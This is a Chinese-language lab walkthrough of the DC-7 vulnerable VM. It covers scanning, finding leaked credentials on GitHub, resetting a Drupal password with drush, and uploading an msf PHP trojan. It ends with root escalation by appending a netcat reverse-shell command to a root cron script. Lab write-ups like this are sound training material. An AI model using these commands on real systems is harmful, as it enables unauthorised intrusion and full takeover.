DC7靶场通关记录
搭建环境
- DC7靶场下载,点击下载,
https://www.five86.com/downloads/DC-7.zip
- 将下载好的DC7靶场导入到VMware中,导入时报错点击重试
- 设置kali和DC7的网络连接为统一连接方式
信息收集
扫描确定IP
使用arp-scan扫描网络,确定靶机IP,使用以下命令
arp-scan -l
扫描端口以及服务
使用nmap对靶机进行扫描,确定开启的端口,以及端口对应的服务,使用以下命令
nmap -sV -sC -p- -A 192.168.223.130
指纹识别
尝试访问靶机开放的端口80,是一个网站,可以尝试对靶机进行指纹识别,使用以下命令
whatweb -v 192.168.223.130
目录爆破
靶机上搭建了一个网站,尝试进行目录爆破,使用一下命令
dirsearch -u 192.168.223.130
查找漏洞
访问页面收集信息
- 收集页面信息,提供了登录、搜索功能
- 页面信息提示暴力破解不行,页面同时提示了网站创作者:DC7USER
通过信息泄露获取到账号密码
- 在github上搜索到项目源码,找到配置文件中账号密码
- 尝试登陆网页不成功
- 网站除去80端口,还有22端口,尝试登陆ssh
计划任务
- 在ssh登陆成功的用户dc7user中有一封邮件,提示是15分钟执行一次的计划任务,以及执行的任务内容和执行的脚本路径,执行脚本的权限是root
- 查看计划任务的执行脚本内容
该脚本中执行了网站源码的备份,同时对数据库进行了备份,数据库备份时使用了drush命令。
- 执行一个drush的命令,尝试执行命令,在脚本中相同目录(/var/www/html)下,运行命令
通过对drush的网络搜索,可以使用该命令更改用户的密码
drush user-password username --password="new_password"
//也可以创建新用户,未尝试,可以尝试一下
drush user-create username --password="user_password"
- 尝试登陆页面,密码更改成功,登陆成功
获取shell提升权限
尝试获取shell
- 网站页面有编辑器中没有php类型
- 下载php扩展,安装php扩展
- 在网站配置页面勾选php扩展
生成木马并上传获取shell
- 使用msf生成木马
- 复制木马内容到网站,保存为php类型
- 开启msf监听,在木马文件保存前开启
- 网站文件保存,msf获取到shell
提权
- 将反弹shell写入计划执行文件
根据在漏洞查找过程发现的计划任务,其中的脚本是由root进行运行的,可以尝试计划任务提权
echo "nc -c /bin/bash ip port" >> backups.sh
- 等待监听获取root权限,查看flag
nc -lvp 8889
pwd
whoami
cd /root
ls
cat theflag.txt
总结
- 代码托管平台源码信息泄露,会存在测试的账号密码
- Drush是一个用于Drupal内容管理系统的命令行工具,可以对数据库进行操作
- drush user-password username --password=“new_password” //更改密码
- drush user-create username --password=“user_password” //创建用户
- 计划任务提权的前提:有计划任务,计划任务root执行,当前用户对计划任务执行的文件可以写入🐒